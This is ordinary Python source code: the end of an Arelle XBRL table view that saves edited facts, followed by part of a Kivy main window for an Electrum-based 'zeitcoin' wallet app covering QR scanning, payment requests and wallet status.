if lastFrameWidth:
# frame resized, recompute row header column widths and lay out table columns
"""
def sleepAndReload():
time.sleep(.75)
self.viewReloadDueToMenuAction()
self.modelXbrl.modelManager.cntlr.uiThreadQueue.put((sleepAndReload, []))
"""
#self.modelXbrl.modelManager.cntlr.uiThreadQueue.put((self.viewReloadDueToMenuAction, []))
def deferredReload():
self.deferredReloadCount -= 1 # only do reload after all queued reload timers expire
if self.deferredReloadCount <= 0:
self.viewReloadDueToMenuAction()
self.deferredReloadCount = getattr(self, "deferredReloadCount", 0) + 1
self.viewFrame.after(1500, deferredReload)
def onQuitView(self, event, *args):
# this method is passed as callback when creating the view
# (to ScrolledTkTableFrame and then to XbrlTable that will monitor cell operations)
self.updateInstanceFromFactPrototypes()
self.updateProperties()
def hasChangesToSave(self):
return len(self.table.modifiedCells)
def updateProperties(self):
if self.modelXbrl is not None:
modelXbrl = self.modelXbrl
# make sure we handle an instance
if modelXbrl.modelDocument.type == ModelDocument.Type.INSTANCE:
tbl = self.table
# get coordinates of last currently operated cell
coordinates = tbl.getCurrentCellCoordinates()
if coordinates is not None:
# get object identifier from its coordinates in the current table
objId = tbl.getObjectId(coordinates)
if objId is not None and len(objId) > 0:
if objId and objId[0] == "f":
# fact prototype
viewableObject = self.factPrototypes[int(objId[1:])]
elif objId[0] != "a":
# instance fact
viewableObject = self.modelXbrl.modelObject(objId)
else:
return
modelXbrl.viewModelObject(viewableObject)
def updateInstanceFromFactPrototypes(self):
# Only update the model if it already exists
if self.modelXbrl is not None \
and self.modelXbrl.modelDocument.type == ModelDocument.Type.INSTANCE:
instance = self.modelXbrl
cntlr = instance.modelManager.cntlr
newCntx = ModelXbrl.AUTO_LOCATE_ELEMENT
newUnit = ModelXbrl.AUTO_LOCATE_ELEMENT
tbl = self.table
# check user keyed changes to aspects
aspectEntryChanges = {} # index = widget ID, value = widget contents
aspectEntryChangeIds = _DICT_SET(aspectEntryChanges.keys())
for modifiedCell in tbl.getCoordinatesOfModifiedCells():
objId = tbl.getObjectId(modifiedCell)
if objId is not None and len(objId)>0:
if tbl.isHeaderCell(modifiedCell):
if objId[0] == OPEN_ASPECT_ENTRY_SURROGATE:
aspectEntryChanges[objId] = tbl.getTableValue(modifiedCell)
else:
# check user keyed changes to facts
cellIndex = str(modifiedCell)
comboboxCells = tbl.window_names(cellIndex)
if comboboxCells is not None and len(comboboxCells)>0:
comboName = tbl.window_cget(cellIndex, '-window')
combobox = cntlr.parent.nametowidget(comboName)
else:
combobox = None
if isinstance(combobox, _Combobox):
codeDict = combobox.codes
if len(codeDict)>0: # the drop-down list shows labels, we want to have the actual values
bodyCellValue = tbl.getTableValue(modifiedCell)
value = codeDict.get(bodyCellValue, None)
if value is None:
value = bodyCellValue # this must be a qname!
else:
value = tbl.getTableValue(modifiedCell)
else:
value = tbl.getTableValue(modifiedCell)
objId = tbl.getObjectId(modifiedCell)
if objId is not None and len(objId)>0:
if objId[0] == "f":
factPrototypeIndex = int(objId[1:])
factPrototype = self.factPrototypes[factPrototypeIndex]
concept = factPrototype.concept
if concept is None:
if not self.conceptMessageIssued:
# This should be removed once cells have been disabled until every needed selection is done
self.conceptMessageIssued = True
self.modelXbrl.modelManager.cntlr.showMessage(_("Please make sure every Z axis selection is done"))
return
else:
self.conceptMessageIssued = False
entityIdentScheme = self.newFactItemOptions.entityIdentScheme
entityIdentValue = self.newFactItemOptions.entityIdentValue
periodType = concept.periodType
periodStart = self.newFactItemOptions.startDateDate if periodType == "duration" else None
periodEndInstant = self.newFactItemOptions.endDateDate
qnameDims = factPrototype.context.qnameDims
newAspectValues = self.newFactOpenAspects(objId)
if newAspectValues is None:
self.modelXbrl.modelManager.showStatus(_("Some open values are missing in an axis, the save is incomplete"), 5000)
continue
qnameDims.update(newAspectValues)
# open aspects widgets
prevCntx = instance.matchContext(
entityIdentScheme, entityIdentValue, periodType, periodStart, periodEndInstant,
qnameDims, [], [])
if prevCntx is not None:
cntxId = prevCntx.id
else: # need new context
newCntx = instance.createContext(entityIdentScheme, entityIdentValue,
periodType, periodStart, periodEndInstant,
concept.qname, qnameDims, [], [],
afterSibling=newCntx)
cntxId = newCntx.id # need new context
# new context
if concept.isNumeric:
if concept.isMonetary:
unitMeasure = qname(XbrlConst.iso4217, self.newFactItemOptions.monetaryUnit)
unitMeasure.prefix = "iso4217" # want to save with a recommended prefix
decimals = self.newFactItemOptions.monetaryDecimals
elif concept.isShares:
unitMeasure = XbrlConst.qnXbrliShares
decimals = self.newFactItemOptions.nonMonetaryDecimals
else:
unitMeasure = XbrlConst.qnXbrliPure
decimals = self.newFactItemOptions.nonMonetaryDecimals
prevUnit = instance.matchUnit([unitMeasure], [])
if prevUnit is not None:
unitId = prevUnit.id
else:
newUnit = instance.createUnit([unitMeasure], [], afterSibling=newUnit)
unitId = newUnit.id
attrs = [("contextRef", cntxId)]
if concept.isNumeric:
attrs.append(("unitRef", unitId))
attrs.append(("decimals", decimals))
value = Locale.atof(self.modelXbrl.locale, value, str.strip)
newFact = instance.createFact(concept.qname, attributes=attrs, text=value)
tbl.setObjectId(modifiedCell,
newFact.objectId()) # switch cell to now use fact ID
if self.factPrototypes[factPrototypeIndex] is not None:
self.factPrototypes[factPrototypeIndex].clear()
self.factPrototypes[factPrototypeIndex] = None #dereference fact prototype
elif objId[0] != "a": # instance fact, not prototype
fact = self.modelXbrl.modelObject(objId)
if fact.concept.isNumeric:
value = Locale.atof(self.modelXbrl.locale, value, str.strip)
if fact.concept.isMonetary:
unitMeasure = qname(XbrlConst.iso4217, self.newFactItemOptions.monetaryUnit)
unitMeasure.prefix = "iso4217" # want to save with a recommended prefix
decimals = self.newFactItemOptions.monetaryDecimals
elif fact.concept.isShares:
unitMeasure = XbrlConst.qnXbrliShares
decimals = self.newFactItemOptions.nonMonetaryDecimals
else:
unitMeasure = XbrlConst.qnXbrliPure
decimals = self.newFactItemOptions.nonMonetaryDecimals
if fact.value != str(value):
if fact.isNil != (not value):
fact.isNil = not value
if fact.isNil:
pass
#TODO: clear out nil facts
if fact.concept.isNumeric and (not fact.isNil): # if nil, there is no need to update these values
fact.decimals = decimals
prevUnit = instance.matchUnit([unitMeasure], [])
if prevUnit is not None:
unitId = prevUnit.id
else:
newUnit = instance.createUnit([unitMeasure], [], afterSibling=newUnit)
unitId = newUnit.id
fact.unitID = unitId
fact.text = str(value)
instance.setIsModified()
fact.xValid = XmlValidate.UNVALIDATED
XmlValidate.validate(instance, fact)
tbl.clearModificationStatus()
def saveInstance(self, newFilename=None, onSaved=None):
if (not self.newFactItemOptions.entityIdentScheme or # not initialized yet
not self.newFactItemOptions.entityIdentValue or
not self.newFactItemOptions.startDateDate or not self.newFactItemOptions.endDateDate):
if not getNewFactItemOptions(self.modelXbrl.modelManager.cntlr, self.newFactItemOptions):
return # new instance not set
# newFilename = None # only used when a new instance must be created
self.updateInstanceFromFactPrototypes()
if self.modelXbrl.modelDocument.type != ModelDocument.Type.INSTANCE and newFilename is None:
newFilename = self.modelXbrl.modelManager.cntlr.fileSave(view=self, fileType="xbrl")
if not newFilename:
return # saving cancelled
# continue saving in background
thread = threading.Thread(target=lambda: self.backgroundSaveInstance(newFilename, onSaved))
thread.daemon = True
thread.start()
def backgroundSaveInstance(self, newFilename=None, onSaved=None):
cntlr = self.modelXbrl.modelManager.cntlr
if newFilename and self.modelXbrl.modelDocument.type != ModelDocument.Type.INSTANCE:
self.modelXbrl.modelManager.showStatus(_("creating new instance {0}").format(os.path.basename(newFilename)))
self.modelXbrl.modelManager.cntlr.waitForUiThreadQueue() # force status update
self.modelXbrl.createInstance(newFilename) # creates an instance as this modelXbrl's entrypoint
instance = self.modelXbrl
cntlr.showStatus(_("Saving {0}").format(instance.modelDocument.basename))
cntlr.waitForUiThreadQueue() # force status update
self.updateInstanceFromFactPrototypes()
instance.saveInstance(newFilename) # may override prior filename for instance from main menu
cntlr.addToLog(_("{0} saved").format(newFilename if newFilename is not None else instance.modelDocument.filepath))
cntlr.showStatus(_("Saved {0}").format(instance.modelDocument.basename), clearAfter=3000)
if onSaved is not None:
self.modelXbrl.modelManager.cntlr.uiThreadQueue.put((onSaved, []))
def newFactOpenAspects(self, factObjectId):
aspectValues = {}
for aspectObjId in self.factPrototypeAspectEntryObjectIds[factObjectId]:
structuralNode = self.aspectEntryObjectIdsNode[aspectObjId]
for aspect in structuralNode.aspectsCovered():
if aspect != Aspect.DIMENSIONS:
break
gridCellItem = self.aspectEntryObjectIdsCell[aspectObjId]
value = gridCellItem.get()
# is aspect in a childStructuralNode?
if value is not None and OPEN_ASPECT_ENTRY_SURROGATE in aspectObjId and len(value)==0:
return None # some values are missing!
if value:
aspectValue = structuralNode.aspectEntryHeaderValues.get(value)
if aspectValue is None: # try converting value
if isinstance(aspect, QName): # dimension
dimConcept = self.modelXbrl.qnameConcepts[aspect]
if dimConcept.isExplicitDimension:
# value must be qname
aspectValue = None # need to find member for the description
else:
typedDimElement = dimConcept.typedDomainElement
aspectValue = FunctionXfi.create_element(
self.rendrCntx, None, (typedDimElement.qname, (), value))
if aspectValue is not None:
aspectValues[aspect] = aspectValue
return aspectValues
def aspectEntryValues(self, structuralNode):
for aspect in structuralNode.aspectsCovered():
if aspect != Aspect.DIMENSIONS:
break
# if findHeader is None, return all header values in a list
# otherwise return aspect value matching header if any
depth = 0
n = structuralNode
while (n.parentStructuralNode is not None):
depth += 1
root = n = n.parentStructuralNode
headers = set()
headerValues = {}
def getHeaders(n, d):
for childStructuralNode in n.childStructuralNodes:
if d == depth:
h = childStructuralNode.header(lang=self.lang,
returnGenLabel=False,
returnMsgFormatString=False)
if not childStructuralNode.isEntryPrototype() and h:
headerValues[h] = childStructuralNode.aspectValue(aspect)
headers.add(h)
else:
getHeaders(childStructuralNode, d+1)
getHeaders(root, 1)
structuralNode.aspectEntryHeaderValues = headerValues
# is this an explicit dimension, if so add "(all members)" option at end
headersList = sorted(headers)
if isinstance(aspect, QName): # dimension
dimConcept = self.modelXbrl.qnameConcepts[aspect]
if dimConcept.isExplicitDimension:
if headersList: # has entries, add all-memembers at end
headersList.append("(all members)")
else: # empty list, just add all members anyway
return self.explicitDimensionFilterMembers(structuralNode, structuralNode)
return headersList
def onAspectComboboxSelection(self, event):
gridCombobox = event.widget
if gridCombobox.get() == "(all members)":
structuralNode = self.aspectEntryObjectIdsNode[gridCombobox.objectId]
self.comboboxLoadExplicitDimension(gridCombobox, structuralNode, structuralNode)
def comboboxLoadExplicitDimension(self, gridCombobox, structuralNode, structuralNodeWithFilter):
gridCombobox["values"] = self.explicitDimensionFilterMembers(structuralNode, structuralNodeWithFilter)
def explicitDimensionFilterMembers(self, structuralNode, structuralNodeWithFilter):
for aspect in structuralNodeWithFilter.aspectsCovered():
if isinstance(aspect, QName): # dimension
break
valueHeaders = set()
if structuralNode is not None:
headerValues = {}
# check for dimension filter(s)
dimFilterRels = structuralNodeWithFilter.definitionNode.filterRelationships
if dimFilterRels:
for rel in dimFilterRels:
dimFilter = rel.toModelObject
if dimFilter is not None:
for memberModel in dimFilter.memberProgs:
memQname = memberModel.qname
memConcept = self.modelXbrl.qnameConcepts.get(memQname)
if memConcept is not None and (not memberModel.axis or memberModel.axis.endswith('-self')):
header = memConcept.label(lang=self.lang)
valueHeaders.add(header)
if rel.isUsable:
headerValues[header] = memQname
else:
headerValues[header] = memConcept
if memberModel.axis and memberModel.linkrole and memberModel.arcrole:
# merge of pull request 42 acsone:TABLE_Z_AXIS_DESCENDANT_OR_SELF
if memberModel.axis.endswith('-or-self'):
searchAxis = memberModel.axis[:len(memberModel.axis)-len('-or-self')]
else:
searchAxis = memberModel.axis
relationships = concept_relationships(self.rendrCntx,
None,
(memQname,
memberModel.linkrole,
memberModel.arcrole,
searchAxis),
False) # return flat list
for rel in relationships:
if rel.isUsable:
header = rel.toModelObject.label(lang=self.lang)
valueHeaders.add(header)
headerValues[header] = rel.toModelObject.qname
if not valueHeaders:
relationships = concept_relationships(self.rendrCntx,
None,
(aspect,
"XBRL-all-linkroles", # linkrole,
"XBRL-dimensions",
'descendant'),
False) # return flat list
for rel in relationships:
if (rel.arcrole in (XbrlConst.dimensionDomain, XbrlConst.domainMember)
and rel.isUsable):
header = rel.toModelObject.label(lang=self.lang)
valueHeaders.add(header)
headerValues[header] = rel.toModelObject.qname
structuralNode.aspectEntryHeaderValues = headerValues
return sorted(valueHeaders)
# import after other modules resolved to prevent circular references
from arelle.FunctionXfi import concept_relationships
|
main_window.py | import re
import os
import sys
import time
import datetime
import traceback
from decimal import Decimal
import threading
import electrum
from electrum.bitcoin import TYPE_ADDRESS
from electrum import WalletStorage, Wallet
from electrum_gui.kivy.i18n import _
from electrum.contacts import Contacts
from electrum.paymentrequest import InvoiceStore
from electrum.util import profiler, InvalidPassword
from electrum.plugins import run_hook
from electrum.util import format_satoshis, format_satoshis_plain
from electrum.paymentrequest import PR_UNPAID, PR_PAID, PR_UNKNOWN, PR_EXPIRED
from kivy.app import App
from kivy.core.window import Window
from kivy.logger import Logger
from kivy.utils import platform
from kivy.properties import (OptionProperty, AliasProperty, ObjectProperty,
StringProperty, ListProperty, BooleanProperty)
from kivy.cache import Cache
from kivy.clock import Clock
from kivy.factory import Factory
from kivy.metrics import inch
from kivy.lang import Builder
# lazy imports for factory so that widgets can be used in kv
Factory.register('InstallWizard',
module='electrum_gui.kivy.uix.dialogs.installwizard')
Factory.register('InfoBubble', module='electrum_gui.kivy.uix.dialogs')
Factory.register('OutputList', module='electrum_gui.kivy.uix.dialogs')
Factory.register('OutputItem', module='electrum_gui.kivy.uix.dialogs')
#from kivy.core.window import Window
#Window.softinput_mode = 'below_target'
# delayed imports: for startup speed on android
notification = app = ref = None
util = False
# register widget cache for keeping memory down timeout to forever to cache
# the data
Cache.register('electrum_widgets', timeout=0)
from kivy.uix.screenmanager import Screen
from kivy.uix.tabbedpanel import TabbedPanel
from kivy.uix.label import Label
from kivy.core.clipboard import Clipboard
Factory.register('TabbedCarousel', module='electrum_gui.kivy.uix.screens')
# Register fonts without this you won't be able to use bold/italic...
# inside markup.
from kivy.core.text import Label
Label.register('Roboto',
'gui/kivy/data/fonts/Roboto.ttf',
'gui/kivy/data/fonts/Roboto.ttf',
'gui/kivy/data/fonts/Roboto-Bold.ttf',
'gui/kivy/data/fonts/Roboto-Bold.ttf')
from electrum.util import base_units
class ElectrumWindow(App):
electrum_config = ObjectProperty(None)
language = StringProperty('en')
def set_URI(self, uri):
self.switch_to('send')
self.send_screen.set_URI(uri)
def on_new_intent(self, intent):
if intent.getScheme() != 'zeitcoin':
return
uri = intent.getDataString()
self.set_URI(uri)
def on_language(self, instance, language):
Logger.info('language: {}'.format(language))
_.switch_lang(language)
def on_quotes(self, d):
#Logger.info("on_quotes")
pass
def on_history(self, d):
#Logger.info("on_history")
if self.history_screen:
Clock.schedule_once(lambda dt: self.history_screen.update())
def _get_bu(self):
return self.electrum_config.get('base_unit', 'ZEIT')
def _set_bu(self, value):
assert value in base_units.keys()
self.electrum_config.set_key('base_unit', value, True)
self.update_status()
if self.history_screen:
self.history_screen.update()
base_unit = AliasProperty(_get_bu, _set_bu)
status = StringProperty('')
fiat_unit = StringProperty('')
def on_fiat_unit(self, a, b):
if self.history_screen:
self.history_screen.update()
def decimal_point(self):
return base_units[self.base_unit]
def btc_to_fiat(self, amount_str):
if not amount_str:
return ''
rate = run_hook('exchange_rate')
if not rate:
return ''
fiat_amount = self.get_amount(amount_str + ' ' + self.base_unit) * rate / pow(10, 8)
return "{:.2f}".format(fiat_amount).rstrip('0').rstrip('.')
def fiat_to_btc(self, fiat_amount):
if not fiat_amount:
return ''
rate = run_hook('exchange_rate')
if not rate:
return ''
satoshis = int(pow(10,8) * Decimal(fiat_amount) / Decimal(rate))
return format_satoshis_plain(satoshis, self.decimal_point())
def get_amount(self, amount_str):
a, u = amount_str.split()
assert u == self.base_unit
try:
x = Decimal(a)
except:
return None
p = pow(10, self.decimal_point())
return int(p * x)
_orientation = OptionProperty('landscape',
options=('landscape', 'portrait'))
def _get_orientation(self):
return self._orientation
orientation = AliasProperty(_get_orientation,
None,
bind=('_orientation',))
'''Tries to ascertain the kind of device the app is running on.
Cane be one of `tablet` or `phone`.
:data:`orientation` is a read only `AliasProperty` Defaults to 'landscape'
'''
_ui_mode = OptionProperty('phone', options=('tablet', 'phone'))
def _get_ui_mode(self):
return self._ui_mode
ui_mode = AliasProperty(_get_ui_mode,
None,
bind=('_ui_mode',))
'''Defines tries to ascertain the kind of device the app is running on.
Cane be one of `tablet` or `phone`.
:data:`ui_mode` is a read only `AliasProperty` Defaults to 'phone'
'''
def __init__(self, **kwargs):
# initialize variables
self._clipboard = Clipboard
self.info_bubble = None
self.nfcscanner = None
self.tabs = None
self.is_exit = False
self.wallet = None
super(ElectrumWindow, self).__init__(**kwargs)
title = _('Electrum App')
self.electrum_config = config = kwargs.get('config', None)
self.language = config.get('language', 'en')
self.network = network = kwargs.get('network', None)
self.plugins = kwargs.get('plugins', [])
self.gui_object = kwargs.get('gui_object', None)
self.daemon = self.gui_object.daemon
self.contacts = Contacts(self.electrum_config)
self.invoices = InvoiceStore(self.electrum_config)
# create triggers so as to minimize updation a max of 2 times a sec
self._trigger_update_wallet =\
Clock.create_trigger(self.update_wallet, .5)
self._trigger_update_status =\
Clock.create_trigger(self.update_status, .5)
# cached dialogs
self._settings_dialog = None
self._password_dialog = None
def wallet_name(self):
return os.path.basename(self.wallet.storage.path) if self.wallet else ' '
def on_pr(self, pr):
if pr.verify(self.contacts):
key = self.invoices.add(pr)
if self.invoices_screen:
self.invoices_screen.update()
status = self.invoices.get_status(key)
if status == PR_PAID:
self.show_error("invoice already paid")
self.send_screen.do_clear()
else:
if pr.has_expired():
self.show_error(_('Payment request has expired'))
else:
self.switch_to('send')
self.send_screen.set_request(pr)
else:
self.show_error("invoice error:" + pr.error)
self.send_screen.do_clear()
def on_qr(self, data):
from electrum.bitcoin import base_decode, is_address
data = data.strip()
if is_address(data):
self.set_URI(data)
return
if data.startswith('zeitcoin:'):
self.set_URI(data)
return
# try to decode transaction
from electrum.transaction import Transaction
try:
text = base_decode(data, None, base=43).encode('hex')
tx = Transaction(text)
tx.deserialize()
except:
tx = None
if tx:
self.tx_dialog(tx)
return
# show error
self.show_error("Unable to decode QR data")
def update_tab(self, name):
s = getattr(self, name + '_screen', None)
if s:
s.update()
@profiler
def update_tabs(self):
for tab in ['invoices', 'send', 'history', 'receive', 'requests']:
self.update_tab(tab)
def switch_to(self, name):
s = getattr(self, name + '_screen', None)
if self.send_screen is None:
s = self.tabs.ids[name + '_screen']
s.load_screen()
panel = self.tabs.ids.panel
tab = self.tabs.ids[name + '_tab']
panel.switch_to(tab)
def show_request(self, addr):
self.switch_to('receive')
self.receive_screen.screen.address = addr
def show_pr_details(self, req, status, is_invoice):
from electrum.util import format_time
requestor = req.get('requestor')
exp = req.get('exp')
memo = req.get('memo')
amount = req.get('amount')
popup = Builder.load_file('gui/kivy/uix/ui_screens/invoice.kv')
popup.is_invoice = is_invoice
popup.amount = amount
popup.requestor = requestor if is_invoice else req.get('address')
popup.exp = format_time(exp) if exp else ''
popup.description = memo if memo else ''
popup.signature = req.get('signature', '')
popup.status = status
txid = req.get('txid')
popup.tx_hash = txid or ''
popup.on_open = lambda: popup.ids.output_list.update(req.get('outputs', []))
popup.open()
def qr_dialog(self, title, data, show_text=False):
from uix.dialogs.qr_dialog import QRDialog
popup = QRDialog(title, data, show_text)
popup.open()
def scan_qr(self, on_complete):
if platform != 'android':
return
from jnius import autoclass
from android import activity
PythonActivity = autoclass('org.kivy.android.PythonActivity')
Intent = autoclass('android.content.Intent')
intent = Intent("com.google.zxing.client.android.SCAN")
intent.putExtra("SCAN_MODE", "QR_CODE_MODE")
def on_qr_result(requestCode, resultCode, intent):
if requestCode == 0:
if resultCode == -1: # RESULT_OK:
contents = intent.getStringExtra("SCAN_RESULT")
if intent.getStringExtra("SCAN_RESULT_FORMAT") == 'QR_CODE':
on_complete(contents)
else:
self.show_error("wrong format " + intent.getStringExtra("SCAN_RESULT_FORMAT"))
activity.bind(on_activity_result=on_qr_result)
try:
PythonActivity.mActivity.startActivityForResult(intent, 0)
except:
self.show_error(_('Could not start Barcode Scanner.') + ' ' + _('Please install the Barcode Scanner app from ZXing'))
def scan_qr_zxing(self, on_complete):
# uses zxing embedded lib
if platform != 'android':
return
from jnius import autoclass
from android import activity
PythonActivity = autoclass('org.kivy.android.PythonActivity')
IntentIntegrator = autoclass('com.google.zxing.integration.android.IntentIntegrator')
integrator = IntentIntegrator(PythonActivity.mActivity)
def on_qr_result(requestCode, resultCode, intent):
if requestCode == 0:
if resultCode == -1: # RESULT_OK:
contents = intent.getStringExtra("SCAN_RESULT")
if intent.getStringExtra("SCAN_RESULT_FORMAT") == 'QR_CODE':
on_complete(contents)
else:
self.show_error("wrong format " + intent.getStringExtra("SCAN_RESULT_FORMAT"))
activity.bind(on_activity_result=on_qr_result)
integrator.initiateScan()
def do_share(self, data, title):
if platform != 'android':
return
from jnius import autoclass, cast
JS = autoclass('java.lang.String')
Intent = autoclass('android.content.Intent')
sendIntent = Intent()
sendIntent.setAction(Intent.ACTION_SEND)
sendIntent.setType("text/plain")
sendIntent.putExtra(Intent.EXTRA_TEXT, JS(data))
PythonActivity = autoclass('org.kivy.android.PythonActivity')
currentActivity = cast('android.app.Activity', PythonActivity.mActivity)
it = Intent.createChooser(sendIntent, cast('java.lang.CharSequence', JS(title)))
currentActivity.startActivity(it)
def build(self):
return Builder.load_file('gui/kivy/main.kv')
def _pause(self):
if platform == 'android':
# move activity to back
from jnius import autoclass
python_act = autoclass('org.kivy.android.PythonActivity')
mActivity = python_act.mActivity
mActivity.moveTaskToBack(True)
def on_start(self):
''' This is the start point of the kivy ui
'''
import time
Logger.info('Time to on_start: {} <<<<<<<<'.format(time.clock()))
win = Window
win.bind(size=self.on_size, on_keyboard=self.on_keyboard)
win.bind(on_key_down=self.on_key_down)
win.softinput_mode = 'below_target'
self.on_size(win, win.size)
self.init_ui()
self.load_wallet_by_name(self.electrum_config.get_wallet_path())
# init plugins
run_hook('init_kivy', self)
# default tab
self.switch_to('history')
# bind intent for zeitcoin: URI scheme
if platform == 'android':
from android import activity
from jnius import autoclass
PythonActivity = autoclass('org.kivy.android.PythonActivity')
mactivity = PythonActivity.mActivity
self.on_new_intent(mactivity.getIntent())
activity.bind(on_new_intent=self.on_new_intent)
# URI passed in config
uri = self.electrum_config.get('url')
if uri:
self.set_URI(uri)
def get_wallet_path(self):
if self.wallet:
return self.wallet.storage.path
else:
return ''
def on_wizard_complete(self, instance, wallet):
if wallet:
wallet.start_threads(self.daemon.network)
self.daemon.add_wallet(wallet)
self.load_wallet(wallet)
self.on_resume()
def load_wallet_by_name(self, path):
if not path:
return
wallet = self.daemon.load_wallet(path)
if wallet:
if wallet != self.wallet:
self.stop_wallet()
self.load_wallet(wallet)
self.on_resume()
else:
Logger.debug('Electrum: Wallet not found. Launching install wizard')
wizard = Factory.InstallWizard(self.electrum_config, path)
wizard.bind(on_wizard_complete=self.on_wizard_complete)
action = wizard.storage.get_action()
wizard.run(action)
def on_stop(self):
self.stop_wallet()
def stop_wallet(self):
if self.wallet:
self.daemon.stop_wallet(self.wallet.storage.path)
self.wallet = None
def on_key_down(self, instance, key, keycode, codepoint, modifiers):
if 'ctrl' in modifiers:
# q=24 w=25
if keycode in (24, 25):
self.stop()
elif keycode == 27:
# r=27
# force update wallet
self.update_wallet()
elif keycode == 112:
# pageup
#TODO move to next tab
pass
elif keycode == 117:
# pagedown
#TODO move to prev tab
pass
#TODO: alt+tab_number to activate the particular tab
def on_keyboard(self, instance, key, keycode, codepoint, modifiers):
if key == 27 and self.is_exit is False:
self.is_exit = True
self.show_info(_('Press again to exit'))
return True
# override settings button
if key in (319, 282): #f1/settings button on android
#self.gui.main_gui.toggle_settings(self)
return True
def settings_dialog(self):
if self._settings_dialog is None:
from uix.dialogs.settings import SettingsDialog
self._settings_dialog = SettingsDialog(self)
self._settings_dialog.update()
self._settings_dialog.open()
def popup_dialog(self, name):
if name == 'settings':
self.settings_dialog()
elif name == 'wallets':
from uix.dialogs.wallets import WalletDialog
d = WalletDialog()
d.open()
else:
popup = Builder.load_file('gui/kivy/uix/ui_screens/'+name+'.kv')
popup.open()
@profiler
def init_ui(self):
''' Initialize The Ux part of electrum. This function performs the basic
tasks of setting up the ui.
'''
from weakref import ref
self.funds_error = False
# setup UX
self.screens = {}
#setup lazy imports for mainscreen
Factory.register('AnimatedPopup',
module='electrum_gui.kivy.uix.dialogs')
Factory.register('QRCodeWidget',
module='electrum_gui.kivy.uix.qrcodewidget')
# preload widgets. Remove this if you want to load the widgets on demand
#Cache.append('electrum_widgets', 'AnimatedPopup', Factory.AnimatedPopup())
#Cache.append('electrum_widgets', 'QRCodeWidget', Factory.QRCodeWidget())
# load and focus the ui
self.root.manager = self.root.ids['manager']
self.history_screen = None
self.contacts_screen = None
self.send_screen = None
self.invoices_screen = None
self.receive_screen = None
self.requests_screen = None
self.icon = "icons/electrum.png"
# connect callbacks
if self.network:
interests = ['updated', 'status', 'new_transaction', 'verified']
self.network.register_callback(self.on_network, interests)
self.tabs = self.root.ids['tabs']
def on_network(self, event, *args):
if event == 'updated':
self._trigger_update_wallet()
elif event == 'status':
self._trigger_update_status()
elif event == 'new_transaction':
self._trigger_update_wallet()
elif event == 'verified':
self._trigger_update_wallet()
@profiler
def load_wallet(self, wallet):
self.wallet = wallet
self.update_wallet()
# Once GUI has been initialized check if we want to announce something
# since the callback has been called before the GUI was initialized
if self.receive_screen:
self.receive_screen.clear()
self.update_tabs()
run_hook('load_wallet', wallet, self)
def update_status(self, *dt):
if not self.wallet:
self.status = _("No Wallet")
return
if self.network is None or not self.network.is_running():
status = _("Offline")
elif self.network.is_connected():
server_height = self.network.get_server_height()
server_lag = self.network.get_local_height() - server_height
if not self.wallet.up_to_date or server_height == 0:
status = _("Synchronizing...")
elif server_lag > 1:
status = _("Server lagging (%d blocks)"%server_lag)
else:
c, u, x = self.wallet.get_balance()
text = self.format_amount(c+x+u)
status = str(text.strip() + ' ' + self.base_unit)
else:
status = _("Not connected")
n = self.wallet.basename()
self.status = '[size=15dp]%s[/size]\n%s' %(n, status) if n !='default_wallet' else status
def get_max_amount(self):
inputs = self.wallet.get_spendable_coins(None)
addr = str(self.send_screen.screen.address) or self.wallet.dummy_address()
amount, fee = self.wallet.get_max_amount(self.electrum_config, inputs, (TYPE_ADDRESS, addr), None)
return format_satoshis_plain(amount, self.decimal_point())
def format_amount(self, x, is_diff=False, whitespaces=False):
return format_satoshis(x, is_diff, 0, self.decimal_point(), whitespaces)
def format_amount_and_units(self, x):
return format_satoshis_plain(x, self.decimal_point()) + ' ' + self.base_unit
@profiler
def update_wallet(self, *dt):
self._trigger_update_status()
if self.wallet and (self.wallet.up_to_date or not self.network or not self.network.is_connected()):
self.update_tabs()
def notify(self, message):
try:
global notification, os
if not notification:
from plyer import notification
icon = (os.path.dirname(os.path.realpath(__file__))
+ '/../../' + self.icon)
notification.notify('Electrum', message,
app_icon=icon, app_name='Electrum')
except ImportError:
Logger.Error('Notification: needs plyer; `sudo pip install plyer`')
def on_pause(self):
# pause nfc
if self.nfcscanner:
self.nfcscanner.nfc_disable()
return True
def on_resume(self):
if self.nfcscanner:
self.nfcscanner.nfc_enable()
# workaround p4a bug:
# show an empty info bubble, to refresh the display
self.show_info_bubble('', duration=0.1, pos=(0,0), width=1, arrow_pos=None)
def on_size(self, instance, value):
width, height = value
self._orientation = 'landscape' if width > height else 'portrait'
self._ui_mode = 'tablet' if min(width, height) > inch(3.51) else 'phone'
def on_ref_label(self, label, touch):
if label.touched:
label.touched = False
self.qr_dialog(label.name, label.data, True)
else:
label.touched = True
self._clipboard.copy(label.data)
Clock.schedule_once(lambda dt: self.show_info(_('Text copied to clipboard.\nTap again to display it as QR code.')))
def set_send(self, address, amount, label, message):
self.send_payment(address, amount=amount, label=label, message=message)
def show_error(self, error, width='200dp', pos=None, arrow_pos=None,
exit=False, icon='atlas://gui/kivy/theming/light/error', duration=0,
modal=False):
''' Show a error Message Bubble.
'''
self.show_info_bubble( text=error, icon=icon, width=width,
pos=pos or Window.center, arrow_pos=arrow_pos, exit=exit,
duration=duration, modal=modal)
def show_info(self, error, width='200dp', pos=None, arrow_pos=None,
exit=False, duration=0, modal=False):
''' Show a Info Message Bubble.
'''
self.show_error(error, icon='atlas://gui/kivy/theming/light/important',
duration=duration, modal=modal, exit=exit, pos=pos,
arrow_pos=arrow_pos)
def show_info_bubble(self, text=_('Hello World'), pos=None, duration=0,
arrow_pos='bottom_mid', width=None, icon='', modal=False, exit=False):
'''Method to show a Information Bubble
.. parameters::
text: Message to be displayed
pos: position for the bubble
duration: duration the bubble remains on screen. 0 = click to hide
width: width of the Bubble
arrow_pos: arrow position for the bubble
'''
info_bubble = self.info_bubble
if not info_bubble:
info_bubble = self.info_bubble = Factory.InfoBubble()
win = Window
if info_bubble.parent:
win.remove_widget(info_bubble
if not info_bubble.modal else
info_bubble._modal_view)
if not arrow_pos:
info_bubble.show_arrow = False
else:
info_bubble.show_arrow = True
info_bubble.arrow_pos = arrow_pos
img = info_bubble.ids.img
if text == 'texture':
# icon holds a texture not a source image
# display the texture in full screen
text = ''
img.texture = icon
info_bubble.fs = True
info_bubble.show_arrow = False
img.allow_stretch = True
info_bubble.dim_background = True
info_bubble.background_image = 'atlas://gui/kivy/theming/light/card'
else:
info_bubble.fs = False
info_bubble.icon = icon
#if img.texture and img._coreimage:
# img.reload()
img.allow_stretch = False
info_bubble.dim_background = False
info_bubble.background_image = 'atlas://data/images/defaulttheme/bubble'
info_bubble.message = text
if not pos:
